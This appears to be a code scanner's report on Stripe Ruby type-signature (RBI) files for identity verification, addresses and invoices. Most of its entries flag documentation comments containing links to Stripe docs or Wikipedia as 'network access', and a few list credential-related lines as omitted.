    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 194
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 195
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 196
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 208
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 209
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 210
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 220
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 221
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 222
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 260
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 261
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 262
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 272
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 273
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 274
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 286
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 287
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 288
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 298
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 299
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 300
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 341
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 342
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 343
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 353
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 354
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 355
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 367
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 368
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 369
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 379
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 380
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 381
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 425
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 426
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 427
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 437
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 438
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 439
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 451
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 452
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 453
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 463
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 464
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 465
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 567
    sig { returns(BankTransfer) }     def bank_transfer; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 568
    def bank_transfer; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 569
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/identity/verification_report.rbi

  • Network accessline 11
    #     # Each VerificationReport contains a copy of any data collected by the user as well as     # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files)
  • Network accessline 12
    # Each VerificationReport contains a copy of any data collected by the user as well as     # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files)     # API. To configure and 
  • Network accessline 13
    # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files)
  • Network accessline 14
    # API. To configure and create VerificationReports, use the     # [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API.     #
  • Network accessline 15
    # [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API.
  • Network accessline 16
    #     # Related guide: [Accessing verification results](https://docs.stripe.com/identity/verification-sessions#results).     class VerificationReport < APIResource
  • Network accessline 17
    # Related guide: [Accessing verification results](https://docs.stripe.com/identity/verification-sessions#results).
  • Network accessline 22
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 23
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 24
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 34
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 35
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 36
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 121
    sig { returns(T.nilable(ExpirationDate)) }         def expiration_date; end         # Array of [File](https://docs.stripe.com/api/files) ids containing images for this document.
  • Network accessline 122
    def expiration_date; end         # Array of [File](https://docs.stripe.com/api/files) ids containing images for this document.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 123
    # Array of [File](https://docs.stripe.com/api/files) ids containing images for this document.
  • Network accessline 263
    sig { returns(T.nilable(T::Array[String])) }           def allowed_types; end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extract
  • Network accessline 264
    def allowed_types; end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.           sig { returns(T.ni
  • Network accessline 265
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 269
    sig { returns(T.nilable(T::Boolean)) }           def require_live_capture; end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a pictur
  • Network accessline 270
    def require_live_capture; end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.
  • Network accessline 271
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 346
    end         end         # ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check.
  • Network accessline 347
    end         # ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check.         sig { returns(T.nilable(String)) }
  • Network accessline 348
    # ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check.
  • Network accessline 352
    sig { returns(T.nilable(Error)) }         def error; end         # ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check.
  • Network accessline 353
    def error; end         # ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check.         sig { returns(T.nilable(String)) }
  • Network accessline 354
    # ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/identity/verification_session.rbi

  • Network accessline 7
    # A VerificationSession guides you through the process of collecting and verifying the identities     # of your users. It contains details about the type of verification, such as what [verification     # check](https://docs.stripe.com/docs/
  • Network accessline 8
    # of your users. It contains details about the type of verification, such as what [verification     # check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for     # each verificat
  • Network accessline 9
    # check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for
  • Network accessline 11
    #     # A VerificationSession transitions through [multiple     # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through
  • Network accessline 12
    # A VerificationSession transitions through [multiple     # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through     # the verification flow. The VerificationSession contains th
  • Network accessline 13
    # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through
  • Network accessline 15
    # verification checks are complete.     #     # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions)
  • Network accessline 16
    #     # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions)     class VerificationSession < APIResource
  • Network accessline 17
    # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions)
  • Network accessline 36
    sig { returns(T.nilable(T::Array[String])) }           def allowed_types; end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extract
  • Network accessline 37
    def allowed_types; end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.           sig { returns(T.ni
  • Network accessline 38
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 42
    sig { returns(T.nilable(T::Boolean)) }           def require_live_capture; end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a pictur
  • Network accessline 43
    def require_live_capture; end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.
  • Network accessline 44
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 168
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 169
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 170
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 180
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 181
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 182
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 250
    sig { returns(T.nilable(String)) }       def client_reference_id; end       # The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expi
  • Network accessline 251
    def client_reference_id; end       # The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expires after 24 hours and can only be used o
  • Network accessline 252
    # The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expires after 24 hours and can only be used once. Don’t store it, log it, embed 
  • Access to secretsline 254
    [Credential-related source omitted]
  • Network accessline 262
    sig { returns(T.nilable(LastError)) }       def last_error; end       # ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results)
  • Network accessline 263
    def last_error; end       # ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results)       sig { returns(T.nilable(T.any(String, ::
  • Network accessline 264
    # ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results)
  • Network accessline 268
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 269
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 270
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 292
    sig { returns(T.nilable(RelatedPerson)) }       def related_person; end       # Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).
  • Network accessline 293
    def related_person; end       # Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).       sig { returns(String) }
  • Network accessline 294
    # Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).
  • Network accessline 295
    sig { returns(String) }       def status; end       # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.
  • Network accessline 296
    def status; end       # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.       sig { returns(String) }
  • Network accessline 297
    # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.
  • Network accessline 298
    sig { returns(String) }       def type; end       # The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send 
  • Network accessline 299
    def type; end       # The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send it in emails or expose it to a
  • Network accessline 300
    # The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send it in emails or expose it to anyone other than the
  • Network accessline 307
    sig { returns(T.nilable(VerifiedOutputs)) }       def verified_outputs; end       # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 308
    def verified_outputs; end       # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).       #
  • Network accessline 309
    # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 310
    #       # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).       sig {
  • Network accessline 311
    # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).
  • Network accessline 317
    # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 318
    #       # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).       sig {
  • Network accessline 319
    # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).
  • Access to secretsline 327
    [Credential-related source omitted]
  • Network accessline 329
    # If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode.       #       # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit
  • Network accessline 330
    #       # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents)       sig {
  • Network accessline 331
    # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents)
  • Network accessline 346
    #       # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 347
    # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action       # state will automat
  • Network accessline 348
    # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 359
    # used for any purpose.       #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 360
    #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).       sig {
  • Network accessline 361
    # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 370
    #       # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 371
    # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action       # state will automat
  • Network accessline 372
    # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 383
    # used for any purpose.       #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 384
    #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).       sig {
  • Network accessline 385
    # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice.rbi

  • Network accessline 7
    # generated one-off, or generated periodically from a subscription.   #   # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments
  • Network accessline 8
    #   # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments   # that may be caused by subscription upgrades/downgrades (if necessary).
  • Network accessline 9
    # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments
  • Network accessline 13
    # Stripe automatically finalizes your invoice and attempts payment. Note   # that finalizing the invoice,   # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does
  • Network accessline 14
    # that finalizing the invoice,   # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does   # not happen immediately as the invoice is created. Stripe waits
  • Network accessline 15
    # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does
  • Network accessline 21
    #   # If your invoice is configured to be billed by sending an email, then based on your   # [email settings](https://dashboard.stripe.com/account/billing/automatic),
  • Network accessline 22
    # If your invoice is configured to be billed by sending an email, then based on your   # [email settings](https://dashboard.stripe.com/account/billing/automatic),   # Stripe will email the invoice to your customer and await payment. These
  • Network accessline 23
    # [email settings](https://dashboard.stripe.com/account/billing/automatic),
  • Network accessline 28
    # amount due for the invoice (i.e., the amount that will be actually   # charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge   # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum
  • Network accessline 29
    # charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge   # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the   # invoice is automatically marked paid, and we 
  • Network accessline 30
    # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the
  • Network accessline 33
    #   # More details on the customer's credit balance are   # [here](https://docs.stripe.com/billing/customer/balance).
  • Network accessline 34
    # More details on the customer's credit balance are   # [here](https://docs.stripe.com/billing/customer/balance).   #
  • Network accessline 35
    # [here](https://docs.stripe.com/billing/customer/balance).
  • Network accessline 36
    #   # Related guide: [Send invoices to customers](https://docs.stripe.com/billing/invoices/sending)   class Invoice < APIResource
  • Network accessline 37
    # Related guide: [Send invoices to customers](https://docs.stripe.com/billing/invoices/sending)
  • Network accessline 55
    sig { returns(T.nilable(String)) }       def disabled_reason; end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe
  • Network accessline 56
    def disabled_reason; end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or
  • Network accessline 57
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Network accessline 106
    sig { returns(T.nilable(String)) }       def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 107
    def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 108
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 118
    sig { returns(T.nilable(String)) }       def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 119
    def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 120
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 133
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 134
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 135
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 145
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 146
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 147
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 220
    end     class LastFinalizationError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) i
  • Network accessline 221
    class LastFinalizationError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they p
  • Network accessline 222
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 226
    sig { returns(T.nilable(String)) }       def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 227
    def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 228
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 229
    sig { returns(T.nilable(String)) }       def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t
  • Network accessline 230
    def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.       sig { returns(T.ni
  • Network accessline 231
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 232
    sig { returns(T.nilable(String)) }       def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 233
    def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 234
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 257
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 258
    #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)       sig { returns(T.nilable(::Stripe::PaymentIntent)) }
  • Network accessline 259
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 261
    def payment_intent; end       # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 262
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to       # Customer objects to store in
  • Network accessline 263
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 264
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 265
    #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).       sig { returns(T.nilable(::Stripe::PaymentMethod)) }
  • Network accessline 266
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 275
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 276
